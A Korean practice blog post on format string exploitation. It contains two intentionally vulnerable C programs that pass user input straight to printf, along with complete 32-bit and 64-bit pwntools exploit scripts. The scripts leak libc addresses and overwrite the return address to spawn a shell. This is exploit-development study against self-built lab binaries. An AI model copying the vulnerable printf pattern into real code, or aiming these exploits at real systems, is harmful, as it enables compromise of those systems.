FSB(32bit, 64bit) 연습(feat.mytool)
by St1tchFSB예제
32bit
//gcc fsb32.c -o fsb32 -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char buf[128] = {0, } ;
int ret_addr = (int)buf ;
for(int i = 0 ; i < 2 ; i++){
fgets(buf, 128, stdin) ;
printf(buf) ;
memset(buf, 0, 128) ;
}
return 0 ;
}
64bit
//gcc fsb64.c -o fsb64 -mpreferred-stack-boundary=4
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char buf[1024] = {0, } ;
long long ret_addr = (long long)buf ;
for(int i = 0 ; i < 2 ; i++){
fgets(buf, 1024, stdin) ;
printf(buf) ;
memset(buf, 0, 1024) ;
}
return 0 ;
}
일부러 연습을 위해서 return주소를 릭하기 쉽게 스택에 박아두었다.
그리고 trigger를 쉽게하기 위해 2번의 fsb공격을 할 수 있게 하여서 연습했다.(leak + overwrite)
사실 연습이라기 보다는 내가 만든 fsb payload함수 기능을 점검한다고 연습겸 확인겸 짰다.
32bit exploit
from pwn import *
import stitch
iint = lambda x : int(x, 16)
s = process('./fsb32')
#first
pay = '%3$x,%39$x'
s.sendline(pay)
ret_addr, main_ret = map(iint, s.recvline().split(',')[:2])
ret_addr += 140
#find libc
libc = stitch.find_libc({'main_ret': hex(main_ret)[-3:]})[0]
system = main_ret - libc['main_ret'] + libc['system']
binsh = main_ret - libc['main_ret'] + libc['binsh']
#second
pay = stitch.fsb(4, {ret_addr:system, ret_addr+8:binsh}, 0)
s.sendline(pay)
s.interactive()
64bit exploit
from pwn import *
import stitch
iint = lambda x : int(x, 16)
s = process('./fsb64')
#first
pay = '%9$llx,%141$llx'
s.sendline(pay)
#find libc
tmp = s.recvline()
ret_addr, main_ret = map(iint, tmp.split(',')[:2])
ret_addr += 1048
libc = stitch.find_libc({'main_ret': hex(main_ret)[-3:]})[0]
system = main_ret - libc['main_ret'] + libc['system']
binsh = main_ret - libc['main_ret'] + libc['binsh']
poprdi_ret = main_ret - libc['main_ret'] + libc['poprdi_ret']
#second
pay = stitch.fsb64(10, {ret_addr:poprdi_ret, ret_addr+8:binsh, ret_addr+16:system}, 0)
s.sendline(pay)
s.interactive()
블로그의 정보
튜기's blogg(st1tch)
St1tch